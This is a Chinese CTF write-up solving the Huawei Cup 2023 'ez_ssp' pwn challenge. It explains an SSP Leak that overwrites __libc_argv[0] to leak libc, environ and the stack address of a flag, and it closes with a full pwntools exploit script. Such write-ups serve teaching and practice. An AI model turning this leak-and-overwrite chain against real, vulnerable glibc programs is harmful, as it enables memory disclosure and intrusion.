收获

  • 利用 glibc-all-in-one 和 patchelf 修改二进制文件的 libc 版本

  • GDB 进行多进程的调试方法

  • 利用 SSP Leak 绕过 Canary,修改 __fortify_fail 函数中要输出的变量 __libc_argv[0] 的地址,故意触发 Canary 保护实现任意地址读

  • libc 中存在着一个 environ 函数,它是一个全局变量,储存着系统的环境变量,通过泄露 environ 的真实地址处的值可以得到栈上存储的环境变量的首地址


今天整理笔记的时候找例题突然想起了去年华为杯有一道类似的题,不过链接早就不记得啦,需要原题二进制文件的去网上搜搜看有没有吧,或者邮箱找我要也可以


思路

由于是本地复现,这个 SSP Leak 依赖于 Glibc 版本,详情可查看本站《Bypass安全机制》一文的《SSP Leak 绕过 Canary》部分

因此,我们需要先使用 patchelf 更改题目的二进制程序使用的 libc 版本,具体操作详情可查看本站《Pwntools与exp技巧》一文的《glibc-all-in-one 和 patchelf》部分

该题给出了 Glibc 版本为 2.23

华为杯2023-ez_ssp1.png

由于 SSP Leak 在 Ubuntu 22.04 本地是无法复现的,因为 Glibc 2.35 修复了这个问题(不过 Ubuntu 16.04 的 Glibc 2.23 可以)

首先通过 glibc-all-in-one 下载 2.23-0ubuntu11.3_amd64 版本的 libc,并通过 patchelf 替换:

华为杯2023-ez_ssp2.png

安全机制:

华为杯2023-ez_ssp4.png

在 IDA 下分析:

华为杯2023-ez_ssp3.png

程序会先打开本地的 flag 文件并读取内容,保存到 s 中,s 位于栈上

由于我们本地没有 flag 文件,所以需要自己创建一个,否则程序运行会报错,我们也无法进行调试

flag 内容随便写:

华为杯2023-ez_ssp5.png

首先根据 v3 生成随机数 v7,然后将我们输入的 bufv7 一起作为 sub_400A65() 的参数:

华为杯2023-ez_ssp6.png

可以看到这个函数也是用来生成随机数的,将随机数返回赋值给 v9

然后将 flag 和 v9 一起执行 sub_400AB0(s, v9, 50),根据前面读取 flag 的长度为 0x32 可以得知,这里的 50 是读取 flag 的长度

华为杯2023-ez_ssp7.png

这个函数将 flag 的每一位与随机数 v9 进行了异或,差不多可以理解为异或加密了一下

然后有一个 for 循环,可以循环 3 次,每次都会通过 fork() 函数生成一个子进程

注意:子进程崩溃不会导致父进程退出

因此我们相当于有 3 次覆盖 Canary 的机会,但是想修改返回地址依然是没有意义的,因为子进程会崩溃

每轮循环有两次输入,第一个 buf 处明显没有溢出,但第二个 gets(v12) 存在明显溢出

栈中的情况:

华为杯2023-ez_ssp8.png

静态信息获取差不多了,接下来就需要进行动态调试了

注意,这里涉及到多进程,需要进行多进程的 GDB 动态调试,如果不熟悉的话,可以看看本站《GDB的基础和使用》一文中的《fork 多进程调试》部分

为了便于我们调试,我们首先将 GDB 设置如下:

(gdb) set follow-fork-mode child   # fork 之后调试子进程,父进程不受影响
(gdb) set detach-on-fork off   # 同时调试父进程和子进程

然后在 gets()0x400CAC 处下断点:

华为杯2023-ez_ssp9.png

华为杯2023-ez_ssp10.png

第一个输入不存在溢出,我这里输入 uf4te

第二个输入需要计算偏移,我这里输入 aaaaaaaa

华为杯2023-ez_ssp11.png

根据触发 Canary 会输出文件名,RBP 下面那一串文件路径就是我们所说的 __libc_argv[0],也可以在 GDB 中进行验证:

华为杯2023-ez_ssp12.png

计算偏移得到第二次输入与 __libc_argv[0] 之间的距离,需要填充 0x128 个垃圾字符进行覆盖

虽然程序没有开 PIE,但是栈地址是随机的,因此我们还需要用到 libc 中的 environ 函数帮助我们计算栈偏移

关于 environ 函数的详细介绍见本站的《Bypass安全机制》一文中《SSP Leak 绕过 Canary》部分

因此,我们需要首先获取 environ 函数的真实地址,这里选择先泄露一个 read() 函数的真实地址,然后进行 libc 基地址的计算即可

__libc_argv[0] 覆盖为 read_got_addr,然后由于触发 Canary 会将 read() 函数的真实地址泄露出来

华为杯2023-ez_ssp13.png

计算得到 environ 函数的真实地址后,再将 __libc_argv[0] 覆盖为 environ 函数的真实地址,泄露出栈上环境变量的首地址

华为杯2023-ez_ssp14.png

在栈中可以进行验证:

华为杯2023-ez_ssp15.png

往上翻可以看到 flag 存储的位置

华为杯2023-ez_ssp16.png

计算栈上环境变量的首地址与 flag 存储位置之间的偏移

华为杯2023-ez_ssp17.png

因此 flag_addr = stack_addr - 0x178

第三次循环我们直接将 __libc_argv[0] 覆盖为 flag_addr,将 flag 打印出来

华为杯2023-ez_ssp18.png

不过这里的 flag 是加密后的,我们再将其异或还原即可

由于异或的参数与随机数有关,记得将 random id 记录下来:

华为杯2023-ez_ssp19.png


脚本

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./pwn")
libc = ELF("/opt/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./pwn")


# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:   # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()


# 用 read_got_addr 覆盖 __libc_argv[0] 泄露 read 函数的真实地址
io.recvuntil(b"What's your name?\n")
io.sendline("uf4te")
read_got_addr = elf.got['read']
io.recvuntil(b'What do you want to do?\n')
payload = b'a' * 0x128 + p64(read_got_addr)
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
read_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("read_addr -->", hex(read_addr))

# 根据 read 函数的真实地址计算 libc 基地址,同时得到 environ 的真实地址
libcbase = read_addr - libc.symbols['read']
environ_addr = libcbase + libc.symbols['environ']
print("environ_addr -->", hex(environ_addr))

# 用 environ 的真实地址覆盖 __libc_argv[0] 泄露栈上环境变量的首地址
io.recvuntil(b"What's your name?\n")
io.sendline("uf4te")
io.recvuntil(b'What do you want to do?\n')
payload = b'a' * 0x128 + p64(environ_addr)
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
print("stack_addr -->", hex(stack_addr))

# 由于栈上环境变量的首地址与 flag 在栈上的位置相距 0x178,计算 flag 在栈上的真实地址
flag_addr = stack_addr - 0x178
print("flag_addr -->", hex(flag_addr))

# 用 flag 在栈上的真实地址覆盖 __libc_argv[0] 泄露加密后的 flag
io.recvuntil(b"What's your name?\n")
io.sendline("uf4te")
io.recvuntil(b'Your random id is: ')
# 由于 flag 的加密与生成的随机数有关,注意到这个随机数是不变的,获取随机数
random = int(io.recvuntil(b'\n', drop=b'\n'))
print("random id -->", random)
io.recvuntil(b'What do you want to do?\n')
# debug()
payload = b'a' * 0x128 + p64(flag_addr)
io.sendline(payload)
io.recvuntil(b'*** stack smashing detected ***: ')
flag_enc = io.recv(50).decode()
print("flag_enc -->", flag_enc)

# flag 的加密是简单的异或,因此异或解密还原 flag
flag = ""
for i in range(50):
    flag += chr(ord(flag_enc[i]) ^ random)

print(flag)

# 与远程交互
io.interactive()

结果

华为杯2023-ez_ssp20.png